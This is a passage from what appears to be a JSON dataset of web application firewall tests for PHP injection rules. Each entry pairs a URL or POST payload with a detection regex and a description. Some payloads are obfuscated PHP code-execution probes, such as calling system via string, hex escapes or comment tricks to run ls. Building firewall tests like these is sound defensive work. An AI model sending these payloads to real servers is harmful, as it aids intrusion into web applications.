"part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "PHP Variable Function bypass \"( [ system ][ 0 ]) {/* comment */0} ( ls )\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "search=this+is+a+%22dog%22+%28not+a+cat%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "Check FP if text contains quotes and round parenthesis" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=%22system%22%28ls%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "Block function call via string" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=%22%5Cx73y%5Cx73tem%22%28ls%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\);", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933210", "test_description": "Block function call via string using hex escape sequence" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "date_ADD%28%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:c(?:cel_chdir|osh?)|ddc?slashes|pache_(?:child_terminate|get(?:_(?:modules|version)|env)|lookup_uri|note |re(?:quest|sponse)_headers|setenv)|r(?:ray_(?:c(?:h(?:ange_key_case|unk)|o(?:lumn|mbine|unt_values))|diff(?:_(?:assoc|key|u(?:assoc|key)))?|f(?:ill(?:_keys)?|lip)|i(?:ntersect(?:_(?:assoc|key|u(?:assoc|key)))?|s_list)|key(?:_(?:fir|la)st|s)|m(?:ap|erge(?:_recursive)?|ultisort)|p(?:ad|op|roduct)|r(?:and|e(?:(?:duc|vers)e|place(?:_recursive)?))|s(?:earch|p?lice|um)|u(?:(?:diff|intersect)(?:_u?assoc)?|n(?:ique|shift))|walk(?:_recursive)?)|sort)|s(?:inh|ort|sert_options)|tan[2h]?)|b(?:ase(?:64_(?:de|en)code|_convert)|c(?:add|comp|div|m(?:od|ul)|pow(?:mod)?|s(?:cale|qrt|ub))|in(?:2hex|d(?:_textdomain_codeset|ec|textdomain))|oolval|z(?:(?:de)?compress|err(?:no|(?:o|st)r)|open|read))|c(?:al(?:_(?:days_in_month|(?:from|to)_jd|info)|l_user_func_array)|eil|h(?:(?:di)?r|grp|mod|own|unk_split)|l(?:ass_(?:alia|(?:implem|par)ent|use)s|earstatcache|ose(?:dir|log))|o(?:llator_(?:asort|c(?:ompar|reat)e|get_(?:(?:attribut|error_(?:cod|messag)|local)e|s(?:ort_key|trength))|s(?:et_(?:attribute|strength)|ort(?:_with_sort_keys)?))|m_(?:create_guid|event_sink|get_active_object|load_typelib|message_pump|print_typeinfo)|n(?:fig_get_hash|nection_(?:aborted|status)|vert_uu(?:de|en)code)|unt_chars)|rc32|type_(?:al(?:num|pha)|cntrl|(?:x?digi|p(?:rin|unc))t|graph|(?:low|upp)er|space)|url_(?:(?:c(?:los|opy_handl)|file_creat|paus)e|e(?:rr(?:no|or)|scape|xec)|getinfo|(?:ini|rese)t|multi_(?:(?:(?:add|remove)_handl|clos)e|e(?:rrno|xec)|getcontent|in(?:fo_read|it)|s(?:e(?:lec|top)t|trerror))|s(?:etopt(?:_array)?|hare_(?:close|errno|init|s(?:etopt|trerror))|trerror)|u(?:nescape|pkeep)|version))|d(?:ate(?:_(?:add|create(?:_(?:from_format|immutable(?:_from_format)?))?|d(?:(?:ate_s|efault_timezone_[gs])et|iff)|(?:forma|(?:offset_g|time(?:_s|(?:stamp|zone)_[gs]))e)t|get_last_errors|i(?:nterval_(?:create_from_date_string|format)|sodate_set)|modify|parse(?:_from_format)?|su(?:b|n(?:_info|rise|set)))|fmt_(?:(?:creat|localtim|pars)e|format(?:_object)?|get_(?:calendar(?:_object)?|(?:datetyp|error_(?:cod|messag)|local)e|pattern|time(?:type|zone(?:_id)?))|is_lenient|set_(?:calendar|lenient|pattern|timezone)))|ba_(?:(?:clos|delet|replac)e|(?:exist|handler)s|f(?:etch|irstkey)|(?:inser|key_spli|lis)t|nextkey|op(?:en|timize)|popen|sync)|(?:cn?)?gettext|e(?:bug_(?:(?:print_)?backtrace|zval_dump)|c(?:bin|hex)|flate_(?:add|init)|g2rad)|isk_(?:free|total)_space|l_test_test[12]|n(?:gettext|s_(?:check_record|get_(?:mx|record)))|om_import_simplexml)|e(?:aster_da(?:te|ys)|n(?:chant_(?:broker_(?:d(?:escribe|ict_exists)|free(?:_dict)?|get_(?:dict_path|error)|(?:ini|request_(?:pwl_)?dic)t|list_dicts|set_(?:dict_path|ordering))|dict_(?:add(?:_to_session)?|(?:quick_)?check|describe|get_error|is_added|s(?:tore_replacemen|ugges)t))|um_exists)|rror_(?:(?:clear|get)_last|(?:lo|reportin)g)|scapeshell(?:arg|cmd)|x(?:if_(?:imagetype|read_data|t(?:agname|humbnail))|pm1|tension_loaded))|f(?:astcgi_finish_request|d(?:atasync|iv)|eof|f(?:i_trampoline|lush)|get(?:c(?:sv)?|s)|i(?:l(?:e_put_contents|ter_(?:has_var|i(?:d|nput(?:_array)?)|list|var(?:_array)?))|nfo_(?:buffer|(?:clos|fil)e|open|set_flags))|loatval|(?:mo|re(?:a|nchtoj))d|nmatch|orward_static_call(?:_array)?|p(?:assthru|m_get_status|rintf|utcsv)|s(?:canf|eek|ockopen|tat|ync)|t(?:ell|ok|p_(?:a(?:lloc|ppend)|c(?:dup|h(?:dir|mod)|lose|onnect)|delete|exec|f(?:ge|pu)t|get(?:_option)?|login|m(?:dtm|kdir|lsd)|n(?:b_(?:continue|(?:f(?:ge|pu)|ge|pu)t)|list)|p(?:asv|ut|wd)|r(?:aw(?:list)?|ename|mdir)|s(?:et_option|(?:i[tz]|ystyp)e|sl_connect))|runcate)|unc_(?:get_args?|num_args)|write)|g(?:c_(?:(?:(?:collect_cycl|mem_cach)e|statu)s|disable|enabled?)|d_info|et(?:_(?:browser|c(?:(?:alled_clas|lass_(?:method|var))s|(?:fg_va|urrent_use)r)|de(?:bug_type|(?:clared_(?:(?:class|interfac)e|trait)|fined_(?:constant|function|var))s)|(?:extension_func|loaded_extension|m(?:angled_object_var|eta_tag)|parent_clas)s|h(?:eaders|tml_translation_table)|include(?:_path|d_files)|o(?:bject_vars|pen_basedir)|resource(?:_(?:id|type)|s))|(?:cw|lastmo)d|(?:dat|rusag)e|env|host(?:by(?:addr|namel?)|name)|imagesize(?:fromstring)?|my(?:[gpu]id|inode)|opt|protobyn(?:ame|umber)|servby(?:name|port)|t(?:ext|imeofday|ype))|m(?:(?:dat|(?:mk|strf)tim)e|p_(?:a(?:bs|[dn]d)|binomial|c(?:lrbit|mp|om)|div(?:_(?:qr?|r)|exact)|(?:expor|fac|hamdis|testbi)t|gcd(?:ext)?|i(?:mport|n(?:(?:i|ver)t|tval))|jacobi|(?:kronecke|x?o)r|l(?:cm|egendre)|m(?:od|ul)|ne(?:g|xtprime)|p(?:erfect_(?:power|square)|o(?:pcount|wm?)|rob_prime)|r(?:andom_(?:bits|range|seed)|oot(?:rem)?)|s(?:can[01]|etbit|ign|qrt(?:rem)?|trval|ub)))|r(?:apheme_(?:extract|s(?:tr(?:i(?:pos|str)|len|(?:ri?)?pos|str)|ubstr))|egoriantojd)|z(?:(?:un)?compress|(?:de(?:cod|flat)|encod|fil|inflat)e|open))|h(?:ash_(?:(?:algo|equal)s|copy|fi(?:le|nal)|h(?:kdf|mac(?:_(?:algos|file))?)|init|pbkdf2|update(?:_(?:file|stream))?)|e(?:ader(?:_re(?:gister_callback|move)|s_(?:lis|sen)t)|brev|x(?:2bin|dec))|ighlight_(?:file|string)|rtime|t(?:ml(?:(?:_entity|specialchars)_decode|entities)|tp_(?:build_query|response_code))|ypot)|i(?:conv(?:_(?:get_encoding|mime_(?:decode(?:_headers)?|encode)|s(?:et_encoding|tr(?:len|r?pos)|ubstr)))?|dn_to_(?:ascii|utf8)|gnore_user_abort|ma(?:ge(?:_type_to_(?:extension|mime_type)|a(?:ffine(?:matrix(?:conca|ge)t)?|lphablending|ntialias|rc|vif)|(?:bm|w(?:bm|eb))p|c(?:har(?:up)?|o(?:lor(?:a(?:llocate(?:alpha)?|t)|closest(?:alpha|hwb)?|deallocate|(?:exact|resolve)(?:alpha)?|match|s(?:et|forindex|total)|transparent)|nvolution|py(?:merge(?:gray)?|res(?:ampl|iz)ed)?)|r(?:eate(?:from(?:avif|(?:bm|w(?:bm|eb))p|g(?:d(?:2(?:part)?)?|if)|(?:jpe|(?:p|stri)n)g|tga|x[bp]m)|truecolor)?|op(?:auto)?))|d(?:ashedline|estroy)|ellipse|f(?:il(?:l(?:ed(?:arc|(?:ellips|rectangl)e|polygon)|toborder)?|ter)|lip|ont(?:height|width)|t(?:bbox|text))|g(?:ammacorrect|d2?|et(?:clip|interpolation)|if|rab(?:screen|window))|i(?:nterlace|struecolor)|jpeg|l(?:(?:ayereffec|oadfon)t|ine)|openpolygon|p(?:alette(?:copy|totruecolor)|ng|olygon)|r(?:e(?:ctangle|solution)|otate)|s(?:avealpha|cale|et(?:brush|clip|interpolation|pixel|style|t(?:hickness|ile))|tring(?:up)?|[xy])|t(?:ruecolortopalette|ypes)|xbm)|p_(?:(?:8bi|qprin)t|a(?:lerts|ppend)|b(?:ase64|inary|ody(?:struct)?)|c(?:heck|l(?:earflag_full|ose)|reatemailbox)|delete(?:mailbox)?|e(?:rrors|xpunge)|fetch(?:_overview|body|header|(?:mim|structur)e)|g(?:c|et(?:_quota(?:root)?|acl|mailboxes|subscribed))|header(?:info|s)|(?:is_)?open|l(?:ast_error|ist(?:scan)?|sub)|m(?:ail(?:_(?:co(?:mpose|py)|move)|boxmsginfo)?|ime_header_decode|sgno|utf7_to_utf8)|num_(?:msg|recent)|ping|r(?:e(?:namemailbox|open)|fc822_(?:parse_(?:adrlist|headers)|write_address))|s(?:avebody|e(?:arch|t(?:_quota|(?:ac|flag_ful)l))|ort|tatus|ubscribe)|t(?:hread|imeout)|u(?:id|n(?:delet|subscrib)e|tf(?:7_(?:de|en)code|8(?:_to_mutf7)?))))|n(?:_array|et_(?:ntop|pton)|flate_(?:add|get_(?:read_len|status)|init)|i_(?:get(?:_all)?|parse_quantity|restore|set)|t(?:div|erface_exists|l(?:_(?:error_nam|get_error_(?:cod|messag)|is_failur)e|cal_(?:a(?:dd|fter)|(?:befor|f(?:ield_differenc|rom_date_tim)|to_date_tim)e|c(?:lear|reate_instance)|equals|get(?:_(?:a(?:ctual_m(?:ax|in)imum|vailable_locales)|(?:day_of_week_typ|error_(?:cod|messag)|keyword_values_for_local)e|first_day_of_week|greatest_minimum|l(?:east_maximum|ocale)|m(?:aximum|inim(?:al_days_in_first_week|um))|now|(?:(?:repeat|skipp)ed_wall_time_op|weekend_transi)tion|t(?:ime(?:_zone)?|ype)))?|i(?:n_daylight_time|s_(?:equivalent_to|(?:lenien|se)t|weekend))|roll|set(?:_(?:(?:first_day_of|minimal_days_in_first)_week|lenient|(?:repeat|skipp)ed_wall_time_option|time(?:_zone)?))?)|gregcal_(?:(?:create_instanc|[gs]et_gregorian_chang)e|is_leap_year)|tz_(?:c(?:ount_equivalent_ids|reate_(?:default|enumeration|time_zone(?:_id_enumeration)?))|(?:(?:from|to)_date_time_zon|use_daylight_tim)e|get_(?:(?:canonical|windows)_id|d(?:isplay_name|st_savings)|e(?:quivalent_id|rror_(?:cod|messag)e)|(?:gm|offse)t|id(?:_for_windows_id)?|r(?:aw_offset|egion)|(?:tz_data_versio|unknow)n)|has_same_rules))))|p(?:2long|tc(?:embed|parse))|s_(?:bool|(?:(?:(?:c(?:all|ount)|(?:execu|wri)t)ab|uploaded_fi)l|i(?:nfinit|terabl)|re(?:adabl|sourc))e|f(?:i(?:l|nit)e|loat)|link|nan|s(?:calar|oap_fault|tring|ubclass_of))|terator_(?:(?:appl|to_arra)y|count))|j(?:d(?:dayofweek|monthname|to(?:french|gregorian|j(?:ewish|ulian)|unix))|(?:ewish|ulian)tojd|son_(?:last_error(?:_msg)?|validate)))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933151", "test_description": "pmf + chain" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=filemtime%28%24foo%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:c(?:cel_chdir|osh?)|ddc?slashes|pache_(?:child_terminate|get(?:_(?:modules|version)|env)|lookup_uri|note |re(?:quest|sponse)_headers|setenv)|r(?:ray_(?:c(?:h(?:ange_key_case|unk)|o(?:lumn|mbine|unt_values))|diff(?:_(?:assoc|key|u(?:assoc|key)))?|f(?:ill(?:_keys)?|lip)|i(?:ntersect(?:_(?:assoc|key|u(?:assoc|key)))?|s_list)|key(?:_(?:fir|la)st|s)|m(?:ap|erge(?:_recursive)?|ultisort)|p(?:ad|op|roduct)|r(?:and|e(?:(?:duc|vers)e|place(?:_recursive)?))|s(?:earch|p?lice|um)|u(?:(?:diff|intersect)(?:_u?assoc)?|n(?:ique|shift))|walk(?:_recursive)?)|sort)|s(?:inh|ort|sert_options)|tan[2h]?)|b(?:ase(?:64_(?:de|en)code|_convert)|c(?:add|comp|div|m(?:od|ul)|pow(?:mod)?|s(?:cale|qrt|ub))|in(?:2hex|d(?:_textdomain_codeset|ec|textdomain))|oolval|z(?:(?:de)?compress|err(?:no|(?:o|st)r)|open|read))|c(?:al(?:_(?:days_in_month|(?:from|to)_jd|info)|l_user_func_array)|eil|h(?:(?:di)?r|grp|mod|own|unk_split)|l(?:ass_(?:alia|(?:implem|par)ent|use)s|earstatcache|ose(?:dir|log))|o(?:llator_(?:asort|c(?:ompar|reat)e|get_(?:(?:attribut|error_(?:cod|messag)|local)e|s(?:ort_key|trength))|s(?:et_(?:attribute|strength)|ort(?:_with_sort_keys)?))|m_(?:create_guid|event_sink|get_active_object|load_typelib|message_pump|print_typeinfo)|n(?:fig_get_hash|nection_(?:aborted|status)|vert_uu(?:de|en)code)|unt_chars)|rc32|type_(?:al(?:num|pha)|cntrl|(?:x?digi|p(?:rin|unc))t|graph|(?:low|upp)er|space)|url_(?:(?:c(?:los|opy_handl)|file_creat|paus)e|e(?:rr(?:no|or)|scape|xec)|getinfo|(?:ini|rese)t|multi_(?:(?:(?:add|remove)_handl|clos)e|e(?:rrno|xec)|getcontent|in(?:fo_read|it)|s(?:e(?:lec|top)t|trerror))|s(?:etopt(?:_array)?|hare_(?:close|errno|init|s(?:etopt|trerror))|trerror)|u(?:nescape|pkeep)|version))|d(?:ate(?:_(?:add|create(?:_(?:from_format|immutable(?:_from_format)?))?|d(?:(?:ate_s|efault_timezone_[gs])et|iff)|(?:forma|(?:offset_g|time(?:_s|(?:stamp|zone)_[gs]))e)t|get_last_errors|i(?:nterval_(?:create_from_date_string|format)|sodate_set)|modify|parse(?:_from_format)?|su(?:b|n(?:_info|rise|set)))|fmt_(?:(?:creat|localtim|pars)e|format(?:_object)?|get_(?:calendar(?:_object)?|(?:datetyp|error_(?:cod|messag)|local)e|pattern|time(?:type|zone(?:_id)?))|is_lenient|set_(?:calendar|lenient|pattern|timezone)))|ba_(?:(?:clos|delet|replac)e|(?:exist|handler)s|f(?:etch|irstkey)|(?:inser|key_spli|lis)t|nextkey|op(?:en|timize)|popen|sync)|(?:cn?)?gettext|e(?:bug_(?:(?:print_)?backtrace|zval_dump)|c(?:bin|hex)|flate_(?:add|init)|g2rad)|isk_(?:free|total)_space|l_test_test[12]|n(?:gettext|s_(?:check_record|get_(?:mx|record)))|om_import_simplexml)|e(?:aster_da(?:te|ys)|n(?:chant_(?:broker_(?:d(?:escribe|ict_exists)|free(?:_dict)?|get_(?:dict_path|error)|(?:ini|request_(?:pwl_)?dic)t|list_dicts|set_(?:dict_path|ordering))|dict_(?:add(?:_to_session)?|(?:quick_)?check|describe|get_error|is_added|s(?:tore_replacemen|ugges)t))|um_exists)|rror_(?:(?:clear|get)_last|(?:lo|reportin)g)|scapeshell(?:arg|cmd)|x(?:if_(?:imagetype|read_data|t(?:agname|humbnail))|pm1|tension_loaded))|f(?:astcgi_finish_request|d(?:atasync|iv)|eof|f(?:i_trampoline|lush)|get(?:c(?:sv)?|s)|i(?:l(?:e_put_contents|ter_(?:has_var|i(?:d|nput(?:_array)?)|list|var(?:_array)?))|nfo_(?:buffer|(?:clos|fil)e|open|set_flags))|loatval|(?:mo|re(?:a|nchtoj))d|nmatch|orward_static_call(?:_array)?|p(?:assthru|m_get_status|rintf|utcsv)|s(?:canf|eek|ockopen|tat|ync)|t(?:ell|ok|p_(?:a(?:lloc|ppend)|c(?:dup|h(?:dir|mod)|lose|onnect)|delete|exec|f(?:ge|pu)t|get(?:_option)?|login|m(?:dtm|kdir|lsd)|n(?:b_(?:continue|(?:f(?:ge|pu)|ge|pu)t)|list)|p(?:asv|ut|wd)|r(?:aw(?:list)?|ename|mdir)|s(?:et_option|(?:i[tz]|ystyp)e|sl_connect))|runcate)|unc_(?:get_args?|num_args)|write)|g(?:c_(?:(?:(?:collect_cycl|mem_cach)e|statu)s|disable|enabled?)|d_info|et(?:_(?:browser|c(?:(?:alled_clas|lass_(?:method|var))s|(?:fg_va|urrent_use)r)|de(?:bug_type|(?:clared_(?:(?:class|interfac)e|trait)|fined_(?:constant|function|var))s)|(?:extension_func|loaded_extension|m(?:angled_object_var|eta_tag)|parent_clas)s|h(?:eaders|tml_translation_table)|include(?:_path|d_files)|o(?:bject_vars|pen_basedir)|resource(?:_(?:id|type)|s))|(?:cw|lastmo)d|(?:dat|rusag)e|env|host(?:by(?:addr|namel?)|name)|imagesize(?:fromstring)?|my(?:[gpu]id|inode)|opt|protobyn(?:ame|umber)|servby(?:name|port)|t(?:ext|imeofday|ype))|m(?:(?:dat|(?:mk|strf)tim)e|p_(?:a(?:bs|[dn]d)|binomial|c(?:lrbit|mp|om)|div(?:_(?:qr?|r)|exact)|(?:expor|fac|hamdis|testbi)t|gcd(?:ext)?|i(?:mport|n(?:(?:i|ver)t|tval))|jacobi|(?:kronecke|x?o)r|l(?:cm|egendre)|m(?:od|ul)|ne(?:g|xtprime)|p(?:erfect_(?:power|square)|o(?:pcount|wm?)|rob_prime)|r(?:andom_(?:bits|range|seed)|oot(?:rem)?)|s(?:can[01]|etbit|ign|qrt(?:rem)?|trval|ub)))|r(?:apheme_(?:extract|s(?:tr(?:i(?:pos|str)|len|(?:ri?)?pos|str)|ubstr))|egoriantojd)|z(?:(?:un)?compress|(?:de(?:cod|flat)|encod|fil|inflat)e|open))|h(?:ash_(?:(?:algo|equal)s|copy|fi(?:le|nal)|h(?:kdf|mac(?:_(?:algos|file))?)|init|pbkdf2|update(?:_(?:file|stream))?)|e(?:ader(?:_re(?:gister_callback|move)|s_(?:lis|sen)t)|brev|x(?:2bin|dec))|ighlight_(?:file|string)|rtime|t(?:ml(?:(?:_entity|specialchars)_decode|entities)|tp_(?:build_query|response_code))|ypot)|i(?:conv(?:_(?:get_encoding|mime_(?:decode(?:_headers)?|encode)|s(?:et_encoding|tr(?:len|r?pos)|ubstr)))?|dn_to_(?:ascii|utf8)|gnore_user_abort|ma(?:ge(?:_type_to_(?:extension|mime_type)|a(?:ffine(?:matrix(?:conca|ge)t)?|lphablending|ntialias|rc|vif)|(?:bm|w(?:bm|eb))p|c(?:har(?:up)?|o(?:lor(?:a(?:llocate(?:alpha)?|t)|closest(?:alpha|hwb)?|deallocate|(?:exact|resolve)(?:alpha)?|match|s(?:et|forindex|total)|transparent)|nvolution|py(?:merge(?:gray)?|res(?:ampl|iz)ed)?)|r(?:eate(?:from(?:avif|(?:bm|w(?:bm|eb))p|g(?:d(?:2(?:part)?)?|if)|(?:jpe|(?:p|stri)n)g|tga|x[bp]m)|truecolor)?|op(?:auto)?))|d(?:ashedline|estroy)|ellipse|f(?:il(?:l(?:ed(?:arc|(?:ellips|rectangl)e|polygon)|toborder)?|ter)|lip|ont(?:height|width)|t(?:bbox|text))|g(?:ammacorrect|d2?|et(?:clip|interpolation)|if|rab(?:screen|window))|i(?:nterlace|struecolor)|jpeg|l(?:(?:ayereffec|oadfon)t|ine)|openpolygon|p(?:alette(?:copy|totruecolor)|ng|olygon)|r(?:e(?:ctangle|solution)|otate)|s(?:avealpha|cale|et(?:brush|clip|interpolation|pixel|style|t(?:hickness|ile))|tring(?:up)?|[xy])|t(?:ruecolortopalette|ypes)|xbm)|p_(?:(?:8bi|qprin)t|a(?:lerts|ppend)|b(?:ase64|inary|ody(?:struct)?)|c(?:heck|l(?:earflag_full|ose)|reatemailbox)|delete(?:mailbox)?|e(?:rrors|xpunge)|fetch(?:_overview|body|header|(?:mim|structur)e)|g(?:c|et(?:_quota(?:root)?|acl|mailboxes|subscribed))|header(?:info|s)|(?:is_)?open|l(?:ast_error|ist(?:scan)?|sub)|m(?:ail(?:_(?:co(?:mpose|py)|move)|boxmsginfo)?|ime_header_decode|sgno|utf7_to_utf8)|num_(?:msg|recent)|ping|r(?:e(?:namemailbox|open)|fc822_(?:parse_(?:adrlist|headers)|write_address))|s(?:avebody|e(?:arch|t(?:_quota|(?:ac|flag_ful)l))|ort|tatus|ubscribe)|t(?:hread|imeout)|u(?:id|n(?:delet|subscrib)e|tf(?:7_(?:de|en)code|8(?:_to_mutf7)?))))|n(?:_array|et_(?:ntop|pton)|flate_(?:add|get_(?:read_len|status)|init)|i_(?:get(?:_all)?|parse_quantity|restore|set)|t(?:div|erface_exists|l(?:_(?:error_nam|get_error_(?:cod|messag)|is_failur)e|cal_(?:a(?:dd|fter)|(?:befor|f(?:ield_differenc|rom_date_tim)|to_date_tim)e|c(?:lear|reate_instance)|equals|get(?:_(?:a(?:ctual_m(?:ax|in)imum|vailable_locales)|(?:day_of_week_typ|error_(?:cod|messag)|keyword_values_for_local)e|first_day_of_week|greatest_minimum|l(?:east_maximum|ocale)|m(?:aximum|inim(?:al_days_in_first_week|um))|now|(?:(?:repeat|skipp)ed_wall_time_op|weekend_transi)tion|t(?:ime(?:_zone)?|ype)))?|i(?:n_daylight_time|s_(?:equivalent_to|(?:lenien|se)t|weekend))|roll|set(?:_(?:(?:first_day_of|minimal_days_in_first)_week|lenient|(?:repeat|skipp)ed_wall_time_option|time(?:_zone)?))?)|gregcal_(?:(?:create_instanc|[gs]et_gregorian_chang)e|is_leap_year)|tz_(?:c(?:ount_equivalent_ids|reate_(?:default|enumeration|time_zone(?:_id_enumeration)?))|(?:(?:from|to)_date_time_zon|use_daylight_tim)e|get_(?:(?:canonical|windows)_id|d(?:isplay_name|st_savings)|e(?:quivalent_id|rror_(?:cod|messag)e)|(?:gm|offse)t|id(?:_for_windows_id)?|r(?:aw_offset|egion)|(?:tz_data_versio|unknow)n)|has_same_rules))))|p(?:2long|tc(?:embed|parse))|s_(?:bool|(?:(?:(?:c(?:all|ount)|(?:execu|wri)t)ab|uploaded_fi)l|i(?:nfinit|terabl)|re(?:adabl|sourc))e|f(?:i(?:l|nit)e|loat)|link|nan|s(?:calar|oap_fault|tring|ubclass_of))|terator_(?:(?:appl|to_arra)y|count))|j(?:d(?:dayofweek|monthname|to(?:french|gregorian|j(?:ewish|ulian)|unix))|(?:ewish|ulian)tojd|son_(?:last_error(?:_msg)?|validate)))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933151", "test_description": "non-dangerous PHP functions, removed to reduce FP" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "gethostbynamE(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:c(?:cel_chdir|osh?)|ddc?slashes|pache_(?:child_terminate|get(?:_(?:modules|version)|env)|lookup_uri|note |re(?:quest|sponse)_headers|setenv)|r(?:ray_(?:c(?:h(?:ange_key_case|unk)|o(?:lumn|mbine|unt_values))|diff(?:_(?:assoc|key|u(?:assoc|key)))?|f(?:ill(?:_keys)?|lip)|i(?:ntersect(?:_(?:assoc|key|u(?:assoc|key)))?|s_list)|key(?:_(?:fir|la)st|s)|m(?:ap|erge(?:_recursive)?|ultisort)|p(?:ad|op|roduct)|r(?:and|e(?:(?:duc|vers)e|place(?:_recursive)?))|s(?:earch|p?lice|um)|u(?:(?:diff|intersect)(?:_u?assoc)?|n(?:ique|shift))|walk(?:_recursive)?)|sort)|s(?:inh|ort|sert_options)|tan[2h]?)|b(?:ase(?:64_(?:de|en)code|_convert)|c(?:add|comp|div|m(?:od|ul)|pow(?:mod)?|s(?:cale|qrt|ub))|in(?:2hex|d(?:_textdomain_codeset|ec|textdomain))|oolval|z(?:(?:de)?compress|err(?:no|(?:o|st)r)|open|read))|c(?:al(?:_(?:days_in_month|(?:from|to)_jd|info)|l_user_func_array)|eil|h(?:(?:di)?r|grp|mod|own|unk_split)|l(?:ass_(?:alia|(?:implem|